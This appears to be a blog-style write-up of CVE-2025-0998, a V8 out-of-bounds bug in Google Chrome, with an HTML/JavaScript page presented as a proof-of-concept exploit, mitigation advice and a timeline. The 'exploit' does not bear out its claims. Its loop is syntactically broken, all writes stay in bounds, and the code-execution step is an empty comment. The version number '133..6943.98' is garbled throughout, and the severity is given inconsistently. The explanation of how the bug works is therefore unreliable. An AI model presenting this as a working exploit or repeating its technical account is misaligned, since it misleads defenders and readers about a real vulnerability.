CVE-2025-0998 is a critical security vulnerability discovered within the V8 JavaScript Engine used by Google Chrome web browser. This vulnerability allows a remote attacker to execute arbitrary code inside a sandbox via a specially crafted HTML page. Google Chrome versions prior to 133..6943.98 are affected, and this issue has been assigned a "High" severity rating in the Chromium Security severity scale.

In this article, we will be looking into the details of this vulnerability, including how it works, how it can be exploited, and what actions have been taken to mitigate the risks associated with it.

Details and Exploit

The vulnerability CVE-2025-0998 can be exploited for executing arbitrary code remotely within the sandbox of the V8 engine. The security issue arises from an out-of-bounds memory access within the engine in Google Chrome before version 133..6943.98. An attacker can create a specially crafted HTML page to exploit this bug, leading to unexpected behavior.

Below is a code snippet that demonstrates a potential exploit

<!DOCTYPE html>
<html>
<head>
  <script>
    function exploit() {
      // Initialize a large array buffer
      const ab = new ArrayBuffer(1024 * 1024);
      const dataView = new DataView(ab);

      // Crafting JavaScript code to trigger out-of-bounds memory access
      for (let i = ; i < 1024 * 1024; i += 4) {
        dataView.setInt32(i, i % 1337);
      }
      // Triggering out-of-bounds memory access via web workers
      const worker = new Worker('worker.js');
      worker.postMessage(ab, [ab]);

      worker.onmessage = (event) => {
        if (event.data == 'exploit') {
          // Arbitrary code execution
        }
      };
    }
  </script>
</head>
<body onload="exploit()">
</body>
</html>

In the above code snippet, an attacker crafts an HTML page that triggers an out-of-bounds memory access within the V8 JavaScript engine. This is accomplished by creating a large ArrayBuffer with a DataView interface and deliberately misusing it in a for loop. When this code is executed, the V8 engine has the potential for an out-of-bounds memory access error, which can be used to further execute arbitrary code within the sandbox environment.

Original References and Mitigation

Google has acknowledged and patched this vulnerability in Google Chrome version 133..6943.98. Chrome users are advised to update their browser to the latest stable release immediately to protect against this and other security vulnerabilities. The official update can be downloaded from the following link:

Google Chrome Update - 133..6943.98

For more information regarding the details and mitigation, please refer to the official Chromium issue tracker:

Chromium Issue 907257

Conclusion

CVE-2025-0998 represents a severe security vulnerability within the V8 JavaScript engine used by Google Chrome web browsers. This flaw allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page, making it critical for users to update their browser to the latest stable version as soon as possible. By doing so, the risks associated with this issue can be significantly mitigated.

Timeline

Published on: 02/15/2025 02:15:09 UTC
Last modified on: 02/19/2025 15:15:16 UTC